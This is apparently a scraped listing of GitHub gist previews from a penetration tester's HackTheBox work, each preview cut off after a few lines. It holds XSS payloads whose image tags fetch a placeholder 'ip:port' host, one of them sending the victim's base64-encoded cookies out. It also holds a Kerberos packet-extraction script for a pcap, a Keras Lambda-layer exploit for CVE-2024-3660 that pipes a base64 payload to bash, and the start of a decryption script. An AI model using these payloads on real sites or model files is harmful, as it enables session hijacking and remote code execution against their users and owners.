This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Test For Image | |
<img src='http://ip:port/xss' /> | |
// Test For Fetch | |
<img src=x onerror=fetch('http://ip:port/xss2') /> | |
// Fetch Cookie Stealing | |
<img src=x onerror=fetch('http://ip:port/cookie?cookie='+btoa(document.cookie)) /> | |
// Fetch entire page contents |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import pyshark | |
from pprint import pprint | |
data = pyshark.FileCapture("C:/Reelix/HTB/Office/Latest-System-Dump-8fbc124d.pcap", display_filter="kerberos") | |
print("Searching for Kerberos packets...") | |
for pkt in data: | |
if "Kerberos" in pkt: | |
dirs = dir(pkt["Kerberos"]) | |
if ("cnamestring" in dirs) and ("cipher" in dirs) and ("etype" in dirs) and ("realm" in dirs): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// https://Www.Oligo.Security/Blog/Tensorflow-Keras-Downgrade-Attack-Cve-2024-3660-Bypass | |
// https://nvd.nist.gov/vuln/detail/CVE-2024-3660 | |
import tensorflow as tf | |
def exploit(x): | |
import os | |
os.system("echo base64codehere|base64 -d|bash") | |
return x |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Thanks Gemini! | |
import re | |
import base64 | |
# The 'cryptography' library is required to run this code. | |
# You can install it in your local Python environment with: | |
# pip install cryptography | |
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes | |
from cryptography.hazmat.backends import default_backend |
OlderNewer